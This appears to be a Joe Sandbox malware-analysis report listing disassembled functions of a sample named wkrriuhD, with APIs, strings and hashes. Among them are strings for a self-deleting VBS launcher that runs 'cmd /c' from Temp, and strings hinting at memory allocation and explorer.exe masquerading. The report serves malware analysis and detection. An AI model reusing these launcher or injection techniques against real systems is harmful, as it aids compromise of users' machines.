Instruction Fuzzy Hash: DBC15477D40245AFDB60CBA8CC81FEEB7F8AF09700F144265FA45EB281D674AD419BA4

Uniqueness

Uniqueness Score: -1.00%

Function 1233D7FF Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 12342850: TerminateProcess.KERNEL32(00000000,pth_unenc,1233F8C8), ref: 12342860
Part of subcall function 12342850: WaitForSingleObject.KERNEL32(000000FF), ref: 12342873

Part of subcall function 123436F8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,123A52F0), ref: 12343714
Part of subcall function 123436F8: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 1234372D
Part of subcall function 123436F8: RegCloseKey.KERNEL32(00000000), ref: 12343738

GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 1233D859
ShellExecuteW.SHELL32(00000000,open,00000000,12396468,12396468,00000000), ref: 1233D9B8
ExitProcess.KERNEL32 ref: 1233D9C4

Strings

""", 0, xrefs: 1233D8E1
open, xrefs: 1233D9B2
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 1233D8F9
.vbs, xrefs: 1233D85F
CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName), xrefs: 1233D967
Temp, xrefs: 1233D89A
exepath, xrefs: 1233D831

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
String ID: """, 0$.vbs$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
API String ID: 1913171305-2411266221
Opcode ID: 10edb2dda751f2d8b7ca83e798996862cf9356168f1b4c3b83e1a4e03bf38930
Instruction ID: e3a984a3f43fc2dbd4aec69224f0ff9c392ea8e80a4dd0566f336198b43d8d4c
Opcode Fuzzy Hash: 10edb2dda751f2d8b7ca83e798996862cf9356168f1b4c3b83e1a4e03bf38930
Instruction Fuzzy Hash: 1C41813BD101185ADBAAE764DC94DFEB779AF51302F004269E00AE3194FF247F4ACA90

Uniqueness

Uniqueness Score: -1.00%

Function 0040333C Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 298COMMON

Download Yara Rule

APIs

@__lockDebuggerData$qv.WKRRIUHD ref: 0040340C
@__unlockDebuggerData$qv.WKRRIUHD ref: 00403465

Strings

!"bogus context in _ExceptionHandler()", xrefs: 00403750
bogus context in _ExceptionHandler(), xrefs: 0040373D
XX.CPP, xrefs: 0040374B

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: Data$qvDebugger$@__lock@__unlock
String ID: !"bogus context in _ExceptionHandler()"$XX.CPP$bogus context in _ExceptionHandler()
API String ID: 2914929783-349939845
Opcode ID: c392f7f339af2bf3e46a4916eb2e5e7a57c82609a3993434a378f8b6525d0d29
Instruction ID: c317ca9096495a95f9ed2eb60a2a61d46a7a471c31c3f754d609f31b13d36163
Opcode Fuzzy Hash: c392f7f339af2bf3e46a4916eb2e5e7a57c82609a3993434a378f8b6525d0d29
Instruction Fuzzy Hash: 55D12CB4A00209DFCB14DF99C885AADBBB5FF48304F1481BAE9057B3A1C7799E81DB54

Uniqueness

Uniqueness Score: -1.00%

Function 005A1C43 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005A1C50
int.LIBCPMT ref: 005A1C63

Part of subcall function 0059EEA3: std::_Lockit::_Lockit.LIBCPMT ref: 0059EEB4
Part of subcall function 0059EEA3: std::_Lockit::~_Lockit.LIBCPMT ref: 0059EECE

std::_Facet_Register.LIBCPMT ref: 005A1CA3
std::_Lockit::~_Lockit.LIBCPMT ref: 005A1CAC
__CxxThrowException@8.LIBVCRUNTIME ref: 005A1CCA
__Init_thread_footer.LIBCMT ref: 005A1D0B

Strings

0kG, xrefs: 005A1D13
@!G, xrefs: 005A1C5B
,kG, xrefs: 005A1CE6

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
String ID: ,kG$0kG$@!G
API String ID: 3815856325-312998898
Opcode ID: 03644fa62921dd73c80b911a5d0dfda0042f6ff91148d324d9cd636e449b66af
Instruction ID: ce7c1cd3a4d55f435f0ca7694a648ffc628c8ea5bf4cfcbc72b7086eeea73091
Opcode Fuzzy Hash: 03644fa62921dd73c80b911a5d0dfda0042f6ff91148d324d9cd636e449b66af
Instruction Fuzzy Hash: 9D2107319009159FCB14FBA8D94AE9D7FA9FF86720F21016AF404E72D1DB35AE41C798

Uniqueness

Uniqueness Score: -1.00%

Function 004038B6 Relevance: 15.2, Strings: 12, Instructions: 218COMMON

Download Yara Rule

Strings

XX.CPP, xrefs: 004039D6
XX.CPP, xrefs: 00403923
XX.CPP, xrefs: 00403A99
XX.CPP, xrefs: 004038D0
dtorCnt < varCount, xrefs: 00403928
IS_STRUC(blType->tpMask), xrefs: 00403966
XX.CPP, xrefs: 00403961
IS_STRUC(blType->tpMask), xrefs: 004039DB
XX.CPP, xrefs: 00403A66
memType->tpClass.tpcFlags & CF_HAS_DTOR, xrefs: 00403A9E
memType, xrefs: 00403A6B
varType->tpClass.tpcFlags & CF_HAS_DTOR, xrefs: 004038D5

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: IS_STRUC(blType->tpMask)$IS_STRUC(blType->tpMask)$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$dtorCnt < varCount$memType$memType->tpClass.tpcFlags & CF_HAS_DTOR$varType->tpClass.tpcFlags & CF_HAS_DTOR
API String ID: 0-1006393815
Opcode ID: 0d642b40e8ec20ac1549495b7ae4ccacb88e5f7043fc7750c95bec1c055ba6ea
Instruction ID: a813c007022810ed9c0a106b08cb99bfc9bf50251e45d0976e4052c3e0ccd181
Opcode Fuzzy Hash: 0d642b40e8ec20ac1549495b7ae4ccacb88e5f7043fc7750c95bec1c055ba6ea
Instruction Fuzzy Hash: B781C472A00208ABDF119F91CC46FAE7FB5BF04705F14806AFD54362D1D3BA9A60DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00404659 Relevance: 15.2, Strings: 12, Instructions: 197COMMON

Download Yara Rule

Strings

__isSameTypeID(srcTypPtr, tgtTypPtr) == 0, xrefs: 00404705
tgtTypPtr != 0 && __isSameTypeID(topTypPtr, tgtTypPtr) == 0, xrefs: 0040474D
XXTYPE.CPP, xrefs: 00404833
XXTYPE.CPP, xrefs: 00404748
XXTYPE.CPP, xrefs: 00404700
XXTYPE.CPP, xrefs: 004046D1
topTypPtr != 0 && IS_STRUC(topTypPtr->tpMask), xrefs: 0040468A
srcTypPtr == 0 || IS_STRUC(srcTypPtr->tpMask), xrefs: 004046D6
XXTYPE.CPP, xrefs: 00404685
tgtTypPtr != 0 && IS_STRUC(tgtTypPtr->tpMask), xrefs: 004046B0
XXTYPE.CPP, xrefs: 004046AB
srcTypPtr, xrefs: 00404838

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: XXTYPE.CPP$XXTYPE.CPP$XXTYPE.CPP$XXTYPE.CPP$XXTYPE.CPP$XXTYPE.CPP$__isSameTypeID(srcTypPtr, tgtTypPtr) == 0$srcTypPtr$srcTypPtr == 0 || IS_STRUC(srcTypPtr->tpMask)$tgtTypPtr != 0 && IS_STRUC(tgtTypPtr->tpMask)$tgtTypPtr != 0 && __isSameTypeID(topTypPtr, tgtTypPtr) == 0$topTypPtr != 0 && IS_STRUC(topTypPtr->tpMask)
API String ID: 0-2396967825
Opcode ID: d7648ce6212e0e930c1cc39aa32bab138302b09c43c6609dbc5e6efde8939b29
Instruction ID: 5efc0c11aba9b44eb1f17c95100801df8ae742c1086434eea204630fcc019830
Opcode Fuzzy Hash: d7648ce6212e0e930c1cc39aa32bab138302b09c43c6609dbc5e6efde8939b29
Instruction Fuzzy Hash: 3171C3B1900209ABDF14DE51CC05BAE77A0AF85714F18C83AFE04362D1E37DD960CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 146459D6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 146459EA

Part of subcall function 1464571E: HeapFree.KERNEL32(00000000,00000000,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?), ref: 14645734
Part of subcall function 1464571E: GetLastError.KERNEL32(?,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?,?), ref: 14645746

_free.LIBCMT ref: 146459F6
_free.LIBCMT ref: 14645A01
_free.LIBCMT ref: 14645A0C
_free.LIBCMT ref: 14645A17
_free.LIBCMT ref: 14645A22
_free.LIBCMT ref: 14645A2D
_free.LIBCMT ref: 14645A38
_free.LIBCMT ref: 14645A43
_free.LIBCMT ref: 14645A51

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8ac2d5dd06e36378d5b92045dbadc96f3a9d6212446015558d2e8fbc73201920
Instruction ID: bd5d784e7d600cd237e32240a1878eab085a2cfc2f89391d0122f83ac822fb98
Opcode Fuzzy Hash: 8ac2d5dd06e36378d5b92045dbadc96f3a9d6212446015558d2e8fbc73201920
Instruction Fuzzy Hash: F811B67E521148FFDF12DF94C851CDD3FA5EF14254B6940A1BE088FA21DA31EA509B88

Uniqueness

Uniqueness Score: -1.00%

Function 005D8F03 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005D8F17
_free.LIBCMT ref: 005D8F23
_free.LIBCMT ref: 005D8F2E
_free.LIBCMT ref: 005D8F39
_free.LIBCMT ref: 005D8F44
_free.LIBCMT ref: 005D8F4F
_free.LIBCMT ref: 005D8F5A
_free.LIBCMT ref: 005D8F65
_free.LIBCMT ref: 005D8F70
_free.LIBCMT ref: 005D8F7E

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
Instruction ID: 308c53ad1c5e73ca6c646b3dbd44d380b3cbbba384f78a6a592c14978dcd2068
Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
Instruction Fuzzy Hash: A5118376504249EFCB11EF58D846E9D3F65FF48750F4180A2B9088B362EA31EA50DF45

Uniqueness

Uniqueness Score: -1.00%

Function 12378121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 12378135

Part of subcall function 12376782: RtlFreeHeap.NTDLL(00000000,00000000,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?), ref: 12376798
Part of subcall function 12376782: GetLastError.KERNEL32(?,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?,?), ref: 123767AA

_free.LIBCMT ref: 12378141
_free.LIBCMT ref: 1237814C
_free.LIBCMT ref: 12378157
_free.LIBCMT ref: 12378162
_free.LIBCMT ref: 1237816D
_free.LIBCMT ref: 12378178
_free.LIBCMT ref: 12378183
_free.LIBCMT ref: 1237818E
_free.LIBCMT ref: 1237819C

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 05151cddc642ddb4060c39c8e7bca3567e4bb83e58adb1e4543c5c71d08d0bff
Instruction ID: dc68d0fea0cc576aea496fa1c79adfc400cbba9c95e29850624141d54f769a65
Opcode Fuzzy Hash: 05151cddc642ddb4060c39c8e7bca3567e4bb83e58adb1e4543c5c71d08d0bff
Instruction Fuzzy Hash: 5C11C07E100149AFCF91DF94C850CE93BA5BF08395B0191A4BA588F220DA36EF50AFC0

Uniqueness

Uniqueness Score: -1.00%

Function 0059647C Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 278COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 005964C8
__Init_thread_footer.LIBCMT ref: 00596505

Part of subcall function 005C5552: __onexit.LIBCMT ref: 005C5558

Strings

0lG, xrefs: 0059676A
kG, xrefs: 005965BD
0lG, xrefs: 0059663C
0lG, xrefs: 005964B2
0lG, xrefs: 0059680F
0lG, xrefs: 00596736

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$__onexit
String ID: 0lG$0lG$0lG$0lG$0lG$kG
API String ID: 1878262506-4252883706
Opcode ID: 9fceeccbbb7e863caeab5f8b3b560d4f3a4196f7e6888d4732fdfa0b1817e938
Instruction ID: f6284b5ce304fd04e7517805141018cab5c4313745c9e26dd1126a62d280b0cc
Opcode Fuzzy Hash: 9fceeccbbb7e863caeab5f8b3b560d4f3a4196f7e6888d4732fdfa0b1817e938
Instruction Fuzzy Hash: A691C371604605BFDB11BF74AD46E6E3E9EFB80300F01443EF98D961A2DF299C488B69

Uniqueness

Uniqueness Score: -1.00%

Function 004065B4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 0040B868: EnterCriticalSection.KERNEL32(0041048C,?,004056B8,?,creating stream lock,?,?,?,00405450,?,?,?,?,?,00404F7B,?), ref: 0040B870
Part of subcall function 0040B868: InitializeCriticalSection.KERNEL32(?,0041048C,?,004056B8,?,creating stream lock,?,?,?,00405450,?,?,?,?,?,00404F7B), ref: 0040B89E
Part of subcall function 0040B868: LeaveCriticalSection.KERNEL32(0041048C,?,0041048C,?,004056B8,?,creating stream lock,?,?,?,00405450,?,?,?,?), ref: 0040B8C5

SetHandleCount.KERNEL32(00000032), ref: 004065D2
GetStartupInfoA.KERNEL32(?), ref: 004065FC
GetStdHandle.KERNEL32(000000F6), ref: 004066B5
GetStdHandle.KERNEL32(000000F5,000000F6), ref: 004066C1
GetStdHandle.KERNEL32(000000F4,000000F5,000000F6), ref: 004066CD

Strings

D@, xrefs: 004066D9
D@, xrefs: 00406635
creating global handle lock, xrefs: 004065BA

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: Handle$CriticalSection$CountEnterInfoInitializeLeaveStartup
String ID: D@$D@$creating global handle lock
API String ID: 3255421519-3519871622
Opcode ID: 822bb4a5261f8c7165ddfbd27327c476d3e5637e78d8e88fa555a43e3e4aef86
Instruction ID: 91436c65d83507411f26f5c3f9f24484589e4f2abe2935dbc4f524b2f6f24ae6
Opcode Fuzzy Hash: 822bb4a5261f8c7165ddfbd27327c476d3e5637e78d8e88fa555a43e3e4aef86
Instruction Fuzzy Hash: A331E5B19002019BD714DF25DCC1B6AB7A0EB40324F254E3EEA87A72D0D77E9865CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 123373AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(123A2B14,00000000,123A52D8,00003000,00000004,00000000,00000001), ref: 123373DD
GetCurrentProcess.KERNEL32(123A2B14,00000000,00008000,?,00000000,00000001,00000000,12337656,C:\Users\Public\Libraries\wkrriuhD.pif), ref: 1233749E

Strings

explorer.exe, xrefs: 12337450, 1233747B
windir, xrefs: 123373EA
[-] NtAllocateVirtualMemory Error, xrefs: 1233743D
[+] NtAllocateVirtualMemory Success, xrefs: 12337410
\explorer.exe, xrefs: 12337400
PEB: %x, xrefs: 123374AF

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
API String ID: 2050909247-4242073005
Opcode ID: 4401eb0e7e7426f96ee5cc72ef298f5cc5a17e02a92be0572fde898b1c536244
Instruction ID: 951722ec450979c9b153bf9a03204c24ad873d57f9cc1295d4b3f25c7be42af5
Opcode Fuzzy Hash: 4401eb0e7e7426f96ee5cc72ef298f5cc5a17e02a92be0572fde898b1c536244
Instruction Fuzzy Hash: E731A3B7691229AFE767DF64CC84FA67BACBB84312F014C28F516D6640DB34E904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 005E1CDC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005E1A23: _free.LIBCMT ref: 005E1A4C

_free.LIBCMT ref: 005E1D2A
_free.LIBCMT ref: 005E1D35
_free.LIBCMT ref: 005E1D40
_free.LIBCMT ref: 005E1D94
_free.LIBCMT ref: 005E1D9F
_free.LIBCMT ref: 005E1DAA
_free.LIBCMT ref: 005E1DB5

Strings

{-Y, xrefs: 005E1CDE

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID: {-Y
API String ID: 269201875-2507730204
Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction ID: 2fee319059b7ab244e53d3b67284b5e75d420872032dacf75444ff7de35a4a86
Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction Fuzzy Hash: 34116D31551B49AAD630F7B1CC0BFDB7FDCBF89700F400826B2D96A252DA34A644C695

Uniqueness

Uniqueness Score: -1.00%

Function 14641CCA Relevance: 13.6, APIs: 9, Instructions: 84fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D1B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 14641D37
DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D4B
GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D58
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D72
CloseHandle.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D7D
DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14641D8A

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: File$Delete$CloseCopyCreateHandleReadSize
String ID:
API String ID: 1454806937-0
Opcode ID: 9869b0d0aaa9c46e106d9ffd15a8df126736e3dce1245f641c75ae9012a5b3f7
Instruction ID: a1b08abbf9d977296a70e635b11dac367414d8a98d004cafa841defc7f987acf
Opcode Fuzzy Hash: 9869b0d0aaa9c46e106d9ffd15a8df126736e3dce1245f641c75ae9012a5b3f7
Instruction Fuzzy Hash: 7E214CB5E0122CAFEF209FA09CCCEEA76ACEB2864CF180569F515D3140D6709E468A70

Uniqueness

Uniqueness Score: -1.00%

Function 0040847C Relevance: 12.9, Strings: 10, Instructions: 365COMMON

Download Yara Rule

Strings

I, xrefs: 00408549
A, xrefs: 0040885B
+, xrefs: 0040850F
F, xrefs: 004087F6
N, xrefs: 004087DF
-, xrefs: 0040851A
N, xrefs: 00408552
0, xrefs: 00408583
N, xrefs: 0040887A
9, xrefs: 0040858C

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: +$-$0$9$A$F$I$N$N$N
API String ID: 0-1648577461
Opcode ID: 2e8387257570eda45cc7b934ad265545eca86ec623c7b602e9144ae6f6a7cda6
Instruction ID: 1cb875950997489b1ee042daea32ef314182afe9941b1639f7d9611703f458e9
Opcode Fuzzy Hash: 2e8387257570eda45cc7b934ad265545eca86ec623c7b602e9144ae6f6a7cda6
Instruction Fuzzy Hash: A6E18175D042499BCF20CFA4CA846EEBBB1AF58310F24817FD894B7391DB398A41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408960 Relevance: 12.9, Strings: 10, Instructions: 363COMMON

Download Yara Rule

Strings

N, xrefs: 00408CC0
F, xrefs: 00408CD7
I, xrefs: 00408A2A
+, xrefs: 004089F0
-, xrefs: 004089FB
N, xrefs: 00408D5B
9, xrefs: 00408A6D
N, xrefs: 00408A33
0, xrefs: 00408A64
A, xrefs: 00408D3C

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: +$-$0$9$A$F$I$N$N$N
API String ID: 0-1648577461
Opcode ID: f88074ef882d433715eecd647d47c0ec08558ead3a85b5924cd63f73f9c18cbf
Instruction ID: fdd31973b3b99697ec39bc4d4de6dc45345fe78665f93d75c906704075768b3a
Opcode Fuzzy Hash: f88074ef882d433715eecd647d47c0ec08558ead3a85b5924cd63f73f9c18cbf
Instruction Fuzzy Hash: 0AE17D70E05249DBDF14DFA4C6842EEBBB1AF58300F24817BE894B7391DB395A41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040265C Relevance: 12.6, Strings: 10, Instructions: 106COMMON

Download Yara Rule

Strings

(ctorMask & 0x0080) == 0, xrefs: 0040269B
XX.CPP, xrefs: 00402696
!"what?", xrefs: 00402758
what?, xrefs: 00402745
XX.CPP, xrefs: 0040267A
!"what?", xrefs: 00402702
XX.CPP, xrefs: 00402753
(ctorMask & 0x0100) != 0 || (ctorMask & 0x0020) == 0, xrefs: 0040267F
XX.CPP, xrefs: 004026FD
what?, xrefs: 004026EF

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: !"what?"$!"what?"$(ctorMask & 0x0080) == 0$(ctorMask & 0x0100) != 0 || (ctorMask & 0x0020) == 0$XX.CPP$XX.CPP$XX.CPP$XX.CPP$what?$what?
API String ID: 0-2639688565
Opcode ID: fd697a23a8341155eeb8432b0f92f72cb662826ad4f5abca942cfff930da084f
Instruction ID: f60a34a71469ba83e7833d9ec68331f2d83224e98db52aa81e8652658bfbd3b2
Opcode Fuzzy Hash: fd697a23a8341155eeb8432b0f92f72cb662826ad4f5abca942cfff930da084f
Instruction Fuzzy Hash: BE21B431744345A7EA242E658F4EF6F2564AF95B01F680533FD01722C0E6FD4A15D16F

Uniqueness

Uniqueness Score: -1.00%

Function 00403B50 Relevance: 12.6, Strings: 10, Instructions: 99COMMON

Download Yara Rule

Strings

etdCount <= elemCount || elemCount == 0, xrefs: 00403BF3
XX.CPP, xrefs: 00403BB1
XX.CPP, xrefs: 00403B8A
varType->tpArr.tpaElemType->tpClass.tpcFlags & CF_HAS_DTOR, xrefs: 00403B8F
XX.CPP, xrefs: 00403B6A
varType->tpMask & TM_IS_ARRAY, xrefs: 00403B6F
dtrCount <= vdtCount, xrefs: 00403C17
XX.CPP, xrefs: 00403C12
vdtCount, xrefs: 00403BB6
XX.CPP, xrefs: 00403BEE

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
